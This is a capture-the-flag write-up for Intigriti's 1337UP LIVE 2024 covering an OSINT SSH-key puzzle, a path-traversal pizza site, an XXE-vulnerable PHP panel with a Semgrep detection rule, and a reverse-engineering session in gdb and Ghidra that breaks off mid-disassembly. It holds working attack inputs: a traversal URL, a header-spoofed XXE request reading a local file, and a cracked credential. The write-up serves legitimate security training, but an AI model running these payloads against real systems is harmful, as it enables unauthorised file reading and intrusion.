A virtual CTF for the hacking community!
Intigriti proudly presents the second edition of the 1337UP LIVE CTF. This capture the flag event will have hackers fighting in teams of 6 in a Jeopardy-style event.
OSINT - Private Github Repository
Bob Robizillo created a public instructions for Tiffany, so she can start work on new secret project. can you access the secret repository?
This challenge marks my first First Blood π©Έ! In CTF terminology, βFirst Bloodβ means being the first to solve a challenge, with no one else having solved it before you. Iβve been aiming to achieve this for a while, and Iβm thrilled to have successfully solved it first!
We search for the name Bob Robizillo on google and Github. We get a github account: bob-193
The profile is quite empty, no commit history, no repositories visible.
We can check their gists where we find a file: email.md:
1
2
3
4
5
6
7
8
9
Dear Tiffany,
I hope this message finds you well. To streamline our collaboration on the 1337up repository, I kindly ask you to add the enclosed SSH key to your account. This step is crucial for enabling a seamless forking process and enhancing our project efficiency.
Thank you for your prompt attention to this matter.
Best regards, Bob Robizillo
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
We can decode the provided base64 data to a ssh key.
1
2
3
4
5
$ echo "<BASE64_DATA>" | base64 -d > id_rsa && chmod 600 id_rsa
$ ssh-add id_rsa
Identity added: id_rsa (1337up)
$ ssh -T git@github.com
Hi nitrofany! You've successfully authenticated, but GitHub does not provide shell access.
We can now clone the mentioned β1337upβ repository.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ git clone git@github.com:nitrofany/1337up.git
$ ls
1337up id_rsa
$ cd 1337up
$ ls
config readme.md
$ cat readme.md
Hey, Tiffany! You will need to save this repo in your user space and implement changes we agreed earlier.
$ cd config
$ ls -all
total 1
drwxrwx--- 1 root vboxsf 0 Nov 15 13:36 .
drwxrwx--- 1 root vboxsf 0 Nov 15 13:36 ..
-rwxrwx--- 1 root vboxsf 44 Nov 15 13:36 .env
$ cat .env
flag=replace with production INTIGRITI{...}
These files donβt show anything useful but we can check the history.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ git log
commit 0f2ad0478e2acc0536be49ecefcb5e12cf797228 (HEAD -> main, origin/main, origin/HEAD)
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:17:45 2024 +0200
update
commit 5c18888418fd3f2a9d76cfd278b69c1f7c41ba4f
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:15:57 2024 +0200
update
commit d127325918e586ed6bfbd7fff94e049378d5694b
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:14:02 2024 +0200
update
commit 5f73d374eace947a4fb12a8e81ceb5a8ca849807
Author: bob-193 <148455791+bob-193@users.noreply.github.com>
Date: Mon Aug 19 14:04:04 2024 +0300
init
Iterating of the commits, we find an interesting one that has an URL to a repository of the βnitrofanyβ user where we have the ssh key of.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ git show 0f2ad0478e2acc0536be49ecefcb5e12cf797228
commit 0f2ad0478e2acc0536be49ecefcb5e12cf797228 (HEAD -> main, origin/main, origin/HEAD)
Author: root <root@vmi1519856.contaboserver.net>
Date: Mon Aug 19 14:17:45 2024 +0200
update
diff --git a/.gitmodules b/.gitmodules
deleted file mode 100644
index 0f2b51c..0000000
--- a/.gitmodules
+++ /dev/null
@@ -1,3 +0,0 @@
-[submodule "config"]
- path = config
- url = https://github.com/nitrofany/01189998819991197253
diff --git a/config/.env b/config/.env
new file mode 100644
index 0000000..1758539
--- /dev/null
+++ b/config/.env
@@ -0,0 +1 @@
+flag=replace with production INTIGRITI{...}
We can clone the found repository and find the flag.
1
2
3
4
5
6
$ git clone git@github.com:nitrofany/01189998819991197253.git
$ cd 01189998819991197253
$ ls
flag.md
$ cat flag.md
# INTIGRITI{9e0121bb8bce15ead3d7f529a81b77b4}
Web - Pizza
Something weird going on at this pizza store!!
The website itself doesnβt provide much, but when we check the /robots.txt
, we found the following:
1
2
3
User-agent: *
Disallow: /secret_172346606e1d24062e891d537e917a90.html
Disallow: /assets/
The file disclosed a secret endpoint: /secret_172346606e1d24062e891d537e917a90.html
. Visiting this URL revealed a login page.
Examining the pageβs source code revealed JavaScript references related to authentication.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<script src="/assets/js/auth.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script>
function hashPassword(password) {
return CryptoJS.SHA256(password).toString();
}
function validate() {
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
const credentials = getCredentials();
const passwordHash = hashPassword(password);
if (
username === credentials.username &&
passwordHash === credentials.passwordHash
) {
return true;
} else {
alert("Invalid credentials!");
return false;
}
}
</script>
Inside /assets/js/auth.js
, the credentials are defined as:
1
2
3
4
5
6
7
8
9
const validUsername = "agent_1337";
const validPasswordHash = "91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac";
function getCredentials() {
return {
username: validUsername,
passwordHash: validPasswordHash,
};
}
Using CrackStation, the hash 91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac
was cracked. The password is: intel420
After logging in with the credentials, we get access to the secret application:
1
2
Username: agent_1337
Password: intel420
You are allowed to download four images. However, when attempting to download a non-existent file, the server responds with βFile not Found!β.
1
2
3
4
5
6
7
8
9
10
<form method="GET" action="">
<label for="image">Select Image to Download:</label>
<select name="download" id="image" onchange="updateImage()">
<option value="/assets/images/topsecret1.png">Image 1</option>
<option value="/assets/images/topsecret2.png">Image 2</option>
<option value="/assets/images/topsecret3.png">Image 3</option>
<option value="/assets/images/topsecret4.png">Image 4</option>
</select>
<button type="submit">Download</button>
</form>
By modifying the download parameter in the URL, we performed a path traversal attack to access the source code of the local PHP file:
1
https://pizzaparadise.ctf.intigriti.io/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=%2Fassets%2Fimages%2F..%2F..%2Ftopsecret_a9aedc6c39f654e55275ad8e65e316b3.php
The source code revealed the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$flag = 'INTIGRITI{70p_53cr37_m15510n_c0mpl373}';
if (isset($_GET['download'])) {
$file = $_GET['download'];
if (strpos($file, '/assets/images/') === 0) {
$filePath = __DIR__ . '/' . $file;
if (file_exists($filePath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
header('Content-Length: ' . filesize($filePath));
readfile($filePath);
exit();
} else {
die('File not found!');
}
} else {
die('File path not allowed!');
}
}
INTIGRITI{70p_53cr37_m15510n_c0mpl373}
Web - BioCorp
BioCorp contacted us with some concerns about the security of their network. Specifically, they want to make sure theyβve decoupled any dangerous functionality from the public facing website. Could you give it a quick review?
Upon reviewing the provided source code, we can see in the header.php
file that if the request includes the header X-Biocorp-Vpn
with the value 80.187.61.102
, the page will reveal a link to a hidden control panel.
In panel.php
, the code checks if the request is a POST with XML content and processes the XML data. The code uses DOMDocument
to parse the XML and then extracts values for temperature, pressure, and control_rods from the XML tags. These values are then displayed on the page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];
if ($ip_address !== '80.187.61.102') {
echo "<h1>Access Denied</h1>";
echo "<p>You do not have permission to access this page.</p>";
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
$xml_data = file_get_contents('php://input');
$doc = new DOMDocument();
if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
echo "<h1>Invalid XML</h1>";
exit;
}
} else {
$xml_data = file_get_contents('data/reactor_data.xml');
$doc = new DOMDocument();
$doc->loadXML($xml_data, LIBXML_NOENT);
}
$temperature = $doc->getElementsByTagName('temperature')->item(0)->nodeValue ?? 'Unknown';
$pressure = $doc->getElementsByTagName('pressure')->item(0)->nodeValue ?? 'Unknown';
$control_rods = $doc->getElementsByTagName('control_rods')->item(0)->nodeValue ?? 'Unknown';
include 'header.php';
?>
<div class="container center-content">
<h1>Welcome to the Control Panel</h1>
<p>Here you can view reactor values:</p>
<ul class="reactor-values">
<li><i class="fas fa-thermometer-half"></i> Temperature: <?php echo htmlspecialchars($temperature); ?> Β°C</li>
<li><i class="fas fa-tachometer-alt"></i> Pressure: <?php echo htmlspecialchars($pressure); ?> kPa</li>
<li><i class="fas fa-cogs"></i> Control Rods: <?php echo htmlspecialchars($control_rods); ?></li>
</ul>
<button id="refresh-btn">Refresh Reactor Values</button>
</div>
<script>
document.getElementById('refresh-btn').addEventListener('click', function () {
location.reload();
});
</script>
<?php include 'footer.php'; ?>
By sending a POST request to /panel.php
` with an XML payload containing an external entity (xxe), we can access files on the server. The XML payload would look like this:
1
2
3
4
5
6
7
8
9
10
POST /panel.php HTTP/2
Host: biocorp.ctf.intigriti.io
X-Biocorp-Vpn: 80.187.61.102
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<temperature>&xxe;</temperature>
This request will trigger the XXE vulnerability, and the content of flag.txt will be included in the response. The flag is revealed as follows:
1
2
3
<li>
<i class="fas fa-thermometer-half"></i> Temperature: INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn} Β°C</li>
<li>
Semgrep
We can write a semgrep rule to prevent XXE from happening in the future:
1
2
3
4
5
6
7
8
9
10
rules:
- id: prevent-xxe-xml-parsing
pattern: |
$doc->loadXML($xml_data, LIBXML_NOENT);
message: "Disabling entity loading (LIBXML_NOENT) allows XXE vulnerabilities."
severity: ERROR
languages: [php]
metadata:
category: security
type: xxe
Reverse Engineering - Secure Bank
Can you crack the bank?
Install pwngdb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
$ gdb secure_bank
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000001311 <+0>: push rbp
0x0000000000001312 <+1>: mov rbp,rsp
0x0000000000001315 <+4>: sub rsp,0x10
0x0000000000001319 <+8>: mov eax,0x0
0x000000000000131e <+13>: call 0x1159 <banner>
0x0000000000001323 <+18>: mov eax,0x0
0x0000000000001328 <+23>: call 0x119c <login_message>
0x000000000000132d <+28>: lea rax,[rip+0xe9f] # 0x21d3
0x0000000000001334 <+35>: mov rdi,rax
0x0000000000001337 <+38>: mov eax,0x0
0x000000000000133c <+43>: call 0x1040 <printf@plt>
0x0000000000001341 <+48>: lea rax,[rbp-0x8]
0x0000000000001345 <+52>: mov rsi,rax
0x0000000000001348 <+55>: lea rax,[rip+0xe9b] # 0x21ea
0x000000000000134f <+62>: mov rdi,rax
0x0000000000001352 <+65>: mov eax,0x0
0x0000000000001357 <+70>: call 0x1050 <__isoc99_scanf@plt>
0x000000000000135c <+75>: mov eax,DWORD PTR [rbp-0x8]
0x000000000000135f <+78>: cmp eax,0x539
0x0000000000001364 <+83>: je 0x137c <main+107>
0x0000000000001366 <+85>: lea rax,[rip+0xe80] # 0x21ed
0x000000000000136d <+92>: mov rdi,rax
0x0000000000001370 <+95>: call 0x1030 <puts@plt>
0x0000000000001375 <+100>: mov eax,0x1
0x000000000000137a <+105>: jmp 0x13cc <main+187>
0x000000000000137c <+107>: mov eax,DWORD PTR [rbp-0x8]
0x000000000000137f <+110>: mov edi,eax
0x0000000000001381 <+112>: call 0x11fa <generate_2fa_code>
0x0000000000001386 <+117>: mov DWORD PTR [rbp-0x4],eax
0x0000000000001389 <+120>: lea rax,[rip+0xe7b] # 0x220b
0x0000000000001390 <+127>: mov rdi,rax
0x0000000000001393 <+130>: mov eax,0x0
0x0000000000001398 <+135>: call 0x1040 <printf@plt>
0x000000000000139d <+140>: lea rax,[rbp-0xc]
0x00000000000013a1 <+144>: mov rsi,rax
0x00000000000013a4 <+147>: lea rax,[rip+0xe3f] # 0x21ea
0x00000000000013ab <+154>: mov rdi,rax
0x00000000000013ae <+157>: mov eax,0x0
0x00000000000013b3 <+162>: call 0x1050 <__isoc99_scanf@plt>
0x00000000000013b8 <+167>: mov eax,DWORD PTR [rbp-0xc]
0x00000000000013bb <+170>: mov edx,DWORD PTR [rbp-0x4]
0x00000000000013be <+173>: mov esi,edx
0x00000000000013c0 <+175>: mov edi,eax
0x00000000000013c2 <+177>: call 0x12ba <validate_2fa_code>
0x00000000000013c7 <+182>: mov eax,0x0
0x00000000000013cc <+187>: leave
0x00000000000013cd <+188>: ret
End of assembler dump.
pwndbg> break *main+78
Breakpoint 1 at 0x135f
pwndbg> run
Starting program: /media/sf_Shared/1337up 2024/secure_bank
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
****************************************
* Welcome to SecureBank *
* Your trusted partner in security *
****************************************
========================================
= SecureBank Superadmin Login System =
========================================
Enter superadmin PIN: 1234
Breakpoint 1, 0x000055555555535f in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
ββββββββββββββββββββββββββββββββββ[ REGISTERS / show-flags off / show-compact-regs off ]ββββββββββββββββββββββββββββββββββ
RAX 0x4d2
RBX 0x7fffffffdee8 ββΈ 0x7fffffffe25f ββ '/media/sf_Shared/1337up 2024/secure_bank'
RCX 0
RDX 0
RDI 0x7fffffffd880 ββ 0x34333231 /* '1234' */
RSI 0x4d2
R8 0xa
R9 0
R10 0
R11 0x7ffff7f3f8e0 (_nl_C_LC_CTYPE_class+256) ββ 0x2000200020002
R12 0
R13 0x7fffffffdef8 ββΈ 0x7fffffffe288 ββ 'COLORFGBG=15;0'
R14 0x7ffff7ffd000 (_rtld_global) ββΈ 0x7ffff7ffe2e0 ββΈ 0x555555554000 ββ 0x10102464c457f
R15 0x555555557dd8 (__do_global_dtors_aux_fini_array_entry) ββΈ 0x555555555110 (__do_global_dtors_aux) ββ endbr64
RBP 0x7fffffffddd0 ββ 1
RSP 0x7fffffffddc0 ββ 0
RIP 0x55555555535f (main+78) ββ cmp eax, 0x539
βββββββββββββββββββββββββββββββββββββββββββ[ DISASM / x86-64 / set emulate on ]βββββββββββββββββββββββββββββββββββββββββββ
βΊ 0x55555555535f <main+78> cmp eax, 0x539 0x4d2 - 0x539 EFLAGS => 0x297 [ CF PF AF zf SF IF df of ]
0x555555555364 <main+83> je main+107 <main+107>
0x555555555366 <main+85> lea rax, [rip + 0xe80] RAX => 0x5555555561ed ββ 'Access Denied! Incorrect PIN.'
0x55555555536d <main+92> mov rdi, rax RDI => 0x5555555561ed ββ 'Access Denied! Incorrect PIN.'
0x555555555370 <main+95> call puts@plt <puts@plt>
0x555555555375 <main+100> mov eax, 1 EAX => 1
0x55555555537a <main+105> jmp main+187 <main+187>
β
0x5555555553cc <main+187> leave
0x5555555553cd <main+188> ret
0x5555555553ce add byte ptr [rax], al
0x5555555553d0 <_fini> sub rsp, 8
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ STACK ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
00:0000β rsp 0x7fffffffddc0 ββ 0
01:0008β-008 0x7fffffffddc8 ββ 0x7fff000004d2
02:0010β rbp 0x7fffffffddd0 ββ 1
03:0018β+008 0x7fffffffddd8 ββΈ 0x7ffff7dd9d68 (__libc_start_call_main+120) ββ mov edi, eax
04:0020β+010 0x7fffffffdde0 ββΈ 0x7fffffffded0 ββΈ 0x7fffffffded8 ββ 0x38 /* '8' */
05:0028β+018 0x7fffffffdde8 ββΈ 0x555555555311 (main) ββ push rbp
06:0030β+020 0x7fffffffddf0 ββ 0x155554040
07:0038β+028 0x7fffffffddf8 ββΈ 0x7fffffffdee8 ββΈ 0x7fffffffe25f ββ '/media/sf_Shared/1337up 2024/secure_bank'
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ BACKTRACE ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βΊ 0 0x55555555535f main+78
1 0x7ffff7dd9d68 __libc_start_call_main+120
2 0x7ffff7dd9e25 __libc_start_main+133
3 0x555555555091 _start+33
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
pwndbg> print (int) 0x539
$1 = 1337
pwndbg> print (int) 0x4d2
$2 = 1234
pwndbg> run
Starting program: /media/sf_Shared/1337up 2024/secure_bank
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
****************************************
* Welcome to SecureBank *
* Your trusted partner in security *
****************************************
========================================
= SecureBank Superadmin Login System =
========================================
Enter superadmin PIN: 1337
Breakpoint 1, 0x000055555555535f in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
ββββββββββββββββββββββββββββββββββ[ REGISTERS / show-flags off / show-compact-regs off ]ββββββββββββββββββββββββββββββββββ
RAX 0x539
RBX 0x7fffffffdee8 ββΈ 0x7fffffffe25f ββ '/media/sf_Shared/1337up 2024/secure_bank'
RCX 0
RDX 0
RDI 0x7fffffffd880 ββ 0x37333331 /* '1337' */
RSI 0x539
R8 0xa
R9 0
R10 0
R11 0x7ffff7f3f8e0 (_nl_C_LC_CTYPE_class+256) ββ 0x2000200020002
R12 0
R13 0x7fffffffdef8 ββΈ 0x7fffffffe288 ββ 'COLORFGBG=15;0'
R14 0x7ffff7ffd000 (_rtld_global) ββΈ 0x7ffff7ffe2e0 ββΈ 0x555555554000 ββ 0x10102464c457f
R15 0x555555557dd8 (__do_global_dtors_aux_fini_array_entry) ββΈ 0x555555555110 (__do_global_dtors_aux) ββ endbr64
RBP 0x7fffffffddd0 ββ 1
RSP 0x7fffffffddc0 ββ 0
RIP 0x55555555535f (main+78) ββ cmp eax, 0x539
βββββββββββββββββββββββββββββββββββββββββββ[ DISASM / x86-64 / set emulate on ]βββββββββββββββββββββββββββββββββββββββββββ
βΊ 0x55555555535f <main+78> cmp eax, 0x539 0x539 - 0x539 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
0x555555555364 <main+83> β je main+107 <main+107>
β
0x55555555537c <main+107> mov eax, dword ptr [rbp - 8] EAX, [0x7fffffffddc8] => 0x539
0x55555555537f <main+110> mov edi, eax EDI => 0x539
0x555555555381 <main+112> call generate_2fa_code <generate_2fa_code>
0x555555555386 <main+117> mov dword ptr [rbp - 4], eax
0x555555555389 <main+120> lea rax, [rip + 0xe7b] RAX => 0x55555555620b ββ 'Enter your 2FA code: '
0x555555555390 <main+127> mov rdi, rax
0x555555555393 <main+130> mov eax, 0 EAX => 0
0x555555555398 <main+135> call printf@plt <printf@plt>
0x55555555539d <main+140> lea rax, [rbp - 0xc]
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ STACK ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
00:0000β rsp 0x7fffffffddc0 ββ 0
01:0008β-008 0x7fffffffddc8 ββ 0x7fff00000539
02:0010β rbp 0x7fffffffddd0 ββ 1
03:0018β+008 0x7fffffffddd8 ββΈ 0x7ffff7dd9d68 (__libc_start_call_main+120) ββ mov edi, eax
04:0020β+010 0x7fffffffdde0 ββΈ 0x7fffffffded0 ββΈ 0x7fffffffded8 ββ 0x38 /* '8' */
05:0028β+018 0x7fffffffdde8 ββΈ 0x555555555311 (main) ββ push rbp
06:0030β+020 0x7fffffffddf0 ββ 0x155554040
07:0038β+028 0x7fffffffddf8 ββΈ 0x7fffffffdee8 ββΈ 0x7fffffffe25f ββ '/media/sf_Shared/1337up 2024/secure_bank'
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ BACKTRACE ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βΊ 0 0x55555555535f main+78
1 0x7ffff7dd9d68 __libc_start_call_main+120
2 0x7ffff7dd9e25 __libc_start_main+133
3 0x555555555091 _start+33
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
pwndbg> continue
Continuing.
Enter your 2FA code: 1234
Access Denied! Incorrect 2FA code.
[Inferior 1 (process 80964) exited normally]
ghidra, create temp project, import binary, let automatic analysis run, then go to functions and open up main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bool main(void)
{
undefined4 local_14;
int local_10;
undefined4 local_c;
banner();
login_message();
printf("Enter superadmin PIN: ");
__isoc99_scanf(&DAT_001021ea,&local_10);
if (local_10 == 0x539) {
local_c = generate_2fa_code(0x539);
printf("Enter your 2FA code: ");
__isoc99_scanf(&DAT_001021ea,&local_14);
validate_2fa_code(local_14,local_c);
}
else {
puts("Access Denied! Incorrect PIN.");
}
return local_10 != 0x539;
}
we clean up and rename the variables (press L on the variables)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bool main(void)
{
undefined4 input_2FA;
int input_pin;
undefined4 local_c;
banner();
login_message();
printf("Enter superadmin PIN: ");
__isoc99_scanf(&DAT_001021ea,&input_pin);
if (input_pin == 1337) {
local_c = generate_2fa_code(1337);
printf("Enter your 2FA code: ");
__isoc99_scanf(&DAT_001021ea,&input_2FA);
validate_2fa_code(input_2FA,local_c);
}
else {
puts("Access Denied! Incorrect PIN.");
}
return input_pin != 1337;
}
Looking at the validate_2fa_code
it does a some shifting and xor:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
uint generate_2fa_code(int param_1)
{
int local_14;
uint local_10;
uint local_c;
local_10 = param_1 * 0xbeef;
local_c = local_10;
for (local_14 = 0; local_14 < 10; local_14 = local_14 + 1) {
local_c = obscure_key(local_c);
local_10 = ((local_10 ^ local_c) << 5 | (local_10 ^ local_c) >> 0x1b) +
(local_c << ((char)local_14 + (char)(local_14 / 7) * -7 & 0x1fU) ^
local_c >> ((char)local_14 + (char)(local_14 / 5) * -5 & 0x1fU));
}
return local_10 & 0xffffff;
}
We could create a python script that does the same with β1337β as input but we went the dynamic analysis route.
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000001311 <+0>: push rbp
0x0000000000001312 <+1>: mov rbp,rsp
0x0000000000001315 <+4>: sub rsp,0x10
0x0000000000001319 <+8>: mov eax,0x0
0x000000000000131e <+13>: call 0x1159 <banner>
0x0000000000001323 <+18>: mov eax,0x0
0x0000000000001328 <+23>: call 0x119c <login_message>
0x000000000000132d <+28>: lea rax,[rip+0xe9f] # 0x21d3
0x0000000000001334 <+35>: mov rdi,rax
0x0000000000001337 <+38>: mov eax,0x0
0x000000000000133c <+43>: call 0x1040 <printf@plt>
0x0000000000001341 <+48>: lea rax,[rbp-0x8]
0x0000000000001345 <+52>: mov rsi,rax
0x0000000000001348 <+55>: lea rax,[rip+0xe9b] # 0x21ea
0x000000000000134f <+62>: mov rdi,rax
0x0000000000001352 <+65>: mov eax,0x0
0x0000000000001357 <+70>: call 0x1050 <__isoc99_scanf@plt>
0x000000000000135c <+75>: mov eax,DWORD PTR [rbp-0x8]
0x000000000000135f <+78>: cmp eax,0x539
0x0000000000001364 <+83>: je 0x137c <main+107>
0x0000000000001366 <+85>: lea rax,[rip+0xe80] # 0x21ed
0x000000000000136d <+92>: mov rdi,rax
0x0000000000001370 <+95>: call 0x1030 <puts@plt>
0x0000000000001375 <+100>: mov eax,0x1
0x000000000000137a <+105>: jmp 0x13cc <main+187>
0x000000000000137c <+107>: mov eax,DWORD PTR [rbp-0x8]
0x000000000000137f <+110>: mov edi,eax
0x0000000000001381 <+112>: call 0x11fa <generate_2fa_code>
0x0000000000001386 <+117>: mov DWORD PTR [rbp-0x4],eax
0x0000000000001389 <+120>: lea rax,[rip+0xe7b] # 0x220b
0x0000000000001390 <+127>: mov rdi,rax
